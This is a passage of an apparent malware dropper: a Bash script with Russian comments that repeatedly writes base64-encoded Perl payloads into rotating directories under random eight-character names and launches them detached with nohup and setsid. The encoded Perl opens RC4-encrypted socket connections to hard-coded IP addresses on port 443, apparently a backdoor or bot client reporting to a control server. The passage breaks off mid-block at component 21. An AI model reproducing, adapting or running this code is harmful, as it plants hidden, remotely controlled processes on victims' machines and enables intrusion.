IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2Nye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wgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #11 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #11 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 12 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1)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AkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0
OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #12 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #12 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 13 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEB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IDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #13 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #13 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 14 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0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2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #14 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #14 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 15 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pO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kg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #15 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #15 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 16 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05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sYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #16 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #16 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 17 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJ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B7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #17 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #17 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 18 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocm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mZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #18 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #18 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 19 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24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T0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #19 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #19 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 20 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9IDQ0MzsKCm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lmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #20 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #20 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 21 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
